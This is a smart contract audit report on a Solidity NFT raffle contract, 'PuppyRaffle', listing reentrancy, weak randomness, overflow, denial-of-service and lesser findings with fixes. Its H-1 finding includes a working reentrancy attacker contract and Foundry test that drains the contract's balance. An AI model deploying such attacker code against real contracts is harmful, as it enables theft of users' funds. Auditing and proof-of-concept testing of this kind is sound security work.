



Protocol Audit Report

Version 1.0

Alexsander

May 20, 2026

Protocol Audit Report

Alexsander

May 20, 2026

Prepared by: Alexsander Lead Security Researcher: - Alexsander

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
 - Scope
 - Roles
- Executive Summary
 - Issues found
- Findings

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
 1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.

2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a `feeAddress` to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

We make all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: `e30d199697bbc822b646d76533b66b7d529b8ef5`
- In Scope:

Scope

```
1 ./src/  
2 #-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.

Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

I loved auditing this codebase.

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	1
Info	7
Gas	2
Total	16

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that call do we update the `PuppyRaffle::players` array.

```
1 function refund(uint256 playerIndex) public {
2     address playerAddress = players[playerIndex];
3     require(playerAddress == msg.sender, "PuppyRaffle: Only the player
    can refund");
4     require(playerAddress != address(0), "PuppyRaffle: Player already
    refunded, or is not active");
5
6     @> payable(msg.sender).sendValue(entranceFee);
7     @> players[playerIndex] = address(0);
8
9     emit RaffleRefunded(playerAddress);
10 }
```

Impact: All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contract with a `receive/fallback` function that calls `PuppyRaffle::refund`
3. Attack enters the raffle
4. Attack calls `PuppyRaffle::refund` from their attack contract, draining the contract balance.

Proof of Code:

Code

Place the following into `PuppyRaffle.t.sol`

```
1     function test_reentrancyRefund() public {
2         address[] memory players = new address[](4);
3         players[0] = playerOne;
4         players[1] = playerTwo;
5         players[2] = playerThree;
6         players[3] = playerFour;
7         puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
8
9         ReentrantAttacker attacker = new ReentrantAttacker(puppyRaffle)
10            ;
11
12         console.log("Balance of PuppyRaffle before attack: ", address(
13             puppyRaffle).balance);
14         console.log("Balance of attacker before attack: ", address(
15             attacker).balance);
16         assertEq(address(puppyRaffle).balance, entranceFee * 4);
17
18         attacker.attack{value: entranceFee}();
19
20         console.log("Balance of PuppyRaffle after attack: ", address(
21             puppyRaffle).balance);
```

```
18     console.log("Balance of attacker after attack: ", address(
19         attacker).balance);
20     assertEq(address(puppyRaffle).balance, 0);
21     uint256 indexOfPlayerOne = puppyRaffle.getActivePlayerIndex(
22         playerOne);
23     vm.prank(playerOne);
24     vm.expectRevert();
25     puppyRaffle.refund(indexOfPlayerOne);
26 }
```

And this contract as well.

```
1  contract ReentrantAttacker {
2      PuppyRaffle puppyRaffle;
3      uint256 entranceFee;
4      uint256 playerIndex;
5
6      constructor(PuppyRaffle _puppyRaffle) {
7          puppyRaffle = _puppyRaffle;
8          entranceFee = puppyRaffle.entranceFee();
9      }
10
11     function attack() public payable {
12         address[] memory players = new address[](1);
13         players[0] = address(this);
14         puppyRaffle.enterRaffle{value: entranceFee}(players);
15         playerIndex = puppyRaffle.getActivePlayerIndex(address(this));
16         puppyRaffle.refund(playerIndex);
17     }
18
19     function _stealMoney() internal {
20         if (address(puppyRaffle).balance >= entranceFee) {
21             puppyRaffle.refund(playerIndex);
22         }
23     }
24
25     receive() external payable {
26         _stealMoney();
27     }
28 }
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally we should move the event emission up as well.

```
1     function refund(uint256 playerIndex) public {
2         address playerAddress = players[playerIndex];
3         require(playerAddress == msg.sender, "PuppyRaffle: Only the
4             player can refund");
```

```
4         require(playerAddress != address(0), "PuppyRaffle: Player
           already refunded, or is not active");
5 +       players[playerIndex] = address(0);
6 +       emit RaffleRefunded(playerAddress);
7         payable(msg.sender).sendValue(entranceFees);
8 -       players[playerIndex] = address(0);
9 -       emit RaffleRefunded(playerAddress);
10      }
```

[H-2] Weak Randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy

Description: Hashing `msg.sender`, `block.timestamp` and `block.difficulty` together creates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if a gas war to choose a winner results.

Proof of Concept:

1. Validators can know the values of `block.timestamp` and `block.difficulty` ahead of time and use that to predict when/how to participate. See the solidity blog on `prevrandao`. `block.difficulty` was recently replaced with `prevrandao`.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner!
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to 0.8.0 integers were subject to integer overflows.

```
1    uint64 myVar = type(uint64).max
2    // 18446744073709551615
3    myVar = myVar + 1
4    // myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract

Proof of Concept: 1. We conclude a raffle of 4 players 2. After many rounds of raffles, the `totalFees` reach a value close to `type(uint64).max` 3. We do another round of raffle, and the `totalFees` decrease (wrap around) instead of increase

Proof of Code:

Code

```
1    function test_totalFeesOverflow() public {
2        uint256 maxUint = type(uint64).max;
3        uint256 feeAmount = (entranceFee * 4) * 20 / 100;
4        uint256 numOfRaffles = (maxUint / feeAmount);
5
6        for (uint256 i; i < numOfRaffles; ++i) {
7            address[] memory players = new address[](4);
8            players[0] = playerOne;
9            players[1] = playerTwo;
10           players[2] = playerThree;
11           players[3] = playerFour;
12           puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
13
14           vm.warp(block.timestamp + duration + 1);
15           vm.roll(block.number + 1);
16
17           puppyRaffle.selectWinner();
18       }
19
20       address[] memory players = new address[](4);
21       players[0] = playerOne;
22       players[1] = playerTwo;
23       players[2] = playerThree;
24       players[3] = playerFour;
25       puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
26
27       vm.warp(block.timestamp + duration + 1);
28       vm.roll(block.number + 1);
29
30       uint256 prevTotalFees = puppyRaffle.totalFees();
31       puppyRaffle.selectWinner();
```



```
32     console.log("Total fees before overflow: ", prevTotalFees);
33     console.log("Total fees after overflow: ", puppyRaffle.
        totalFees());
34     assert(puppyRaffle.totalFees() < prevTotalFees);
35 }
```

Recommended Mitigation: There are a few recommended mitigations here.

1. Use a newer version of Solidity that does not allow integer overflows by default.

```
1 - pragma solidity ^0.7.6;
2 + pragma solidity ^0.8.18;
```

Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's [SafeMath](#) to prevent integer overflows.

1. Use a `uint256` instead of a `uint64` for `totalFees`.

```
1 - uint64 public totalFees = 0;
2 + uint256 public totalFees = 0;
```

2. Remove/Alter the balance check in `PuppyRaffle::withdrawFees`

```
1 - require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

We additionally want to bring your attention to another attack vector as a result of this line in a future finding.

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas cost for future entrants

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later.

```
1 @>     for (uint256 i = 0; i < players.length - 1; i++) {
2         for (uint256 j = i + 1; j < players.length; j++) {
3             require(players[i] != players[j], "PuppyRaffle:
                Duplicate player");
4         }
5     }
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attack might make the `PuppyRaffle::players` array so big, that no one else enters, guaranteeing themselves the win.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be as such: - 1st 100 players: ~6542401 gas - 2nd 100 players: ~18937791 gas

This more than 3x more expensive for the second 100 players.

PoC

Place the following test into `PuppyRaffleTest.t.sol`.

```
1  function test_denialOfService() public {
2      uint256 numOfPlayers = 100;
3      uint256 totalFee = numOfPlayers * entranceFee;
4      address[] memory players = new address[](numOfPlayers);
5      for (uint256 i; i < numOfPlayers; ++i) {
6          players[i] = address(uint160(i));
7      }
8      uint256 gasCostFirst = gasleft();
9      puppyRaffle.enterRaffle{value: totalFee}(players);
10     gasCostFirst = gasCostFirst - gasleft();
11     console.log("Gas cost of first 100 players: ", gasCostFirst);
12
13     players = new address[](numOfPlayers);
14     for (uint256 i; i < numOfPlayers; ++i) {
15         players[i] = address(uint160(i + numOfPlayers));
16     }
17     uint256 gasCostSecond = gasleft();
18     puppyRaffle.enterRaffle{value: totalFee}(players);
19     gasCostSecond = gasCostSecond - gasleft();
20     console.log("Gas cost of second 100 players: ", gasCostSecond);
21
22     assert(gasCostSecond > gasCostFirst);
23 }
```

Recommended Mitigation: There are a few recommendations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

```

1 + mapping(address => uint256) public addressToRaffleId;
2 + uint256 public raffleId = 0;
3   .
4   .
5   .
6   function enterRaffle(address[] memory newPlayers) public payable {
7       require(msg.value == entranceFee * newPlayers.length, "
8           PuppyRaffle: Must send enough to enter raffle");
9       for (uint256 i = 0; i < newPlayers.length; i++) {
10          players.push(newPlayers[i]);
11          addressToRaffleId[newPlayers[i]] = raffleId;
12      }
13      // Check for duplicates
14      // Check for duplicates only from the new players
15      for (uint256 i = 0; i < newPlayers.length; i++) {
16          require(addressToRaffleId[newPlayers[i]] != raffleId, "
17              PuppyRaffle: Duplicate player");
18      }
19      for (uint256 i = 0; i < players.length; i++) {
20          for (uint256 j = i + 1; j < players.length; j++) {
21              require(players[i] != players[j], "PuppyRaffle:
22                  Duplicate player");
23          }
24      }
25      emit RaffleEnter(newPlayers);
26  }
27  .
28  .
29  .
30  function selectWinner() external {
31      raffleId = raffleId + 1;
32      require(block.timestamp >= raffleStartTime + raffleDuration, "
33          PuppyRaffle: Raffle not over");

```

3. Alternatively, you could use OpenZeppelin's EnumerableSet library. <https://docs.openzeppelin.com/contracts/5.x>

[M-2] Unsafe cast of PuppyRaffle::fee loses fees

Description: In `PuppyRaffle::selectWinner` there is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```

1   function selectWinner() external {
2       require(block.timestamp >= raffleStartTime + raffleDuration, "
3           PuppyRaffle: Raffle not over");
4       require(players.length > 0, "PuppyRaffle: No players in raffle"
5           );

```

```
4
5     uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
        sender, block.timestamp, block.difficulty))) % players.
        length;
6     address winner = players[winnerIndex];
7     uint256 fee = totalFees / 10;
8     uint256 winnings = address(this).balance - fee;
9 @>    totalFees = totalFees + uint64(fee);
10    players = new address[] (0);
11    emit RaffleWinner(winner, winnings);
12 }
```

The max value of a `uint64` is 18446744073709551615. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
1 uint256 max = type(uint64).max
2 uint256 fee = max + 1
3 uint64(fee)
4 // prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. There is a comment which says:

```
1 // We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
1 - uint64 public totalFees = 0;
2 + uint256 public totalFees = 0;
3 .
4 .
5 .
6     function selectWinner() external {
7         require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
8         require(players.length >= 4, "PuppyRaffle: Need at least 4
            players");
9         uint256 winnerIndex =
```

```
10         uint256(keccak256(abi.encodePacked(msg.sender, block.  
11             timestamp, block.difficulty))) % players.length;  
12         address winner = players[winnerIndex];  
13         uint256 totalAmountCollected = players.length * entranceFee;  
14         uint256 prizePool = (totalAmountCollected * 80) / 100;  
15 -         uint256 fee = (totalAmountCollected * 20) / 100;  
16 +         totalFees = totalFees + uint64(fee);  
17 +         totalFees = totalFees + fee;
```

[M-3] Smart Contract wallet raffle winners without a receive or a fallback will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept: 1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends 3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, we could have a separate `claimPrize` function letting the owners on the winner to claim their prize. (Recommended)

Pull Over Push pattern.

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and players at index 0 causing players to incorrectly think they have not entered the raffle

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec it will also return zero if the player is NOT in the array.

```
1     function getActivePlayerIndex(address player) external view returns
      (uint256) {
2         for (uint256 i = 0; i < players.length; i++) {
3             if (players[i] == player) {
4                 return i;
5             }
6         }
7         return 0;
8     }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation

Recommendations: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but an even better solution might be to return an `int256` where the function returns -1 if the player is not active.

Informational/Non-Crits

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in `src/PuppyRaffle.sol`: 32:23:35

[I-2] Using an Outdated Version of Solidity is Not Recommended

Solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendations:

Deploy with any of the following Solidity versions:

```
1 0.8.18
```

The recommendations take into account:

- 1 Risks related to recent releases
- 2 Risks of complex code generation changes
- 3 Risks of **new** language features
- 4 Risks of known bugs

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in `src/PuppyRaffle.sol` Line: 69

```
1 feeAddress = _feeAddress;
```

- Found in `src/PuppyRaffle.sol` Line: 159

```
1 previousWinner = winner;
```

- Found in `src/PuppyRaffle.sol` Line: 182

```
1 feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` function does not follow CEI, which is not a best practice

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
1 - (bool success,) = winner.call{value: prizePool}("");
2 - require(success, "PuppyRaffle: Failed to send prize pool to winner"
3   );
4   _safeMint(winner, tokenId);
5 + (bool success,) = winner.call{value: prizePool}("");
6 + require(success, "PuppyRaffle: Failed to send prize pool to winner"
7   );
```

[I-5] Use of “magic” numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
1      uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
2      uint256 public constant FEE_PERCENTAGE = 20;
3      uint256 public constant POOL_PRECISION = 100;
4
5      uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE)
6      / POOL_PRECISION;
7      uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) /
8      POOL_PRECISION;
```

[I-6] State Changes are Missing Events

A lack of emitted events can often lead to difficulty of external or front-end systems to accurately track changes within a protocol.

It is best practice to emit an event whenever an action results in a state change.

Examples: - `PuppyRaffle::totalFees` within the `selectWinner` function - `PuppyRaffle::raffleStartTime` within the `selectWinner` function - `PuppyRaffle::totalFees` within the `withdrawFees` function

[I-7] `PuppyRaffle::_isActivePlayer` function is never used and should be removed

Description: The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
1 - function _isActivePlayer() internal view returns (bool) {
2 -     for (uint256 i = 0; i < players.length; i++) {
3 -         if (players[i] == msg.sender) {
4 -             return true;
5 -         }
6 -     }
7 -     return false;
8 - }
```

Gas

[G-1] Unchanged state variables should be declared constant or immutable

Reading from storage is much more expensive than reading a constant or immutable variable.

Instances:

- `PuppyRaffle::raffleDuration` should be `immutable`

- `PuppyRaffle::commonImageUri` should be `constant`
- `PuppyRaffle::rareImageUri` should be `constant`
- `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage Variables in a Loop Should be Cached

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
1 + uint256 playersLength = players.length;
2 - for (uint256 i = 0; i < players.length - 1; i++) {
3 + for (uint256 i = 0; i < playersLength - 1; i++) {
4 -     for (uint256 j = i + 1; j < players.length; j++) {
5 +     for (uint256 j = i + 1; j < playersLength; j++) {
6         require(players[i] != players[j], "PuppyRaffle: Duplicate player"
7             );
8     }
```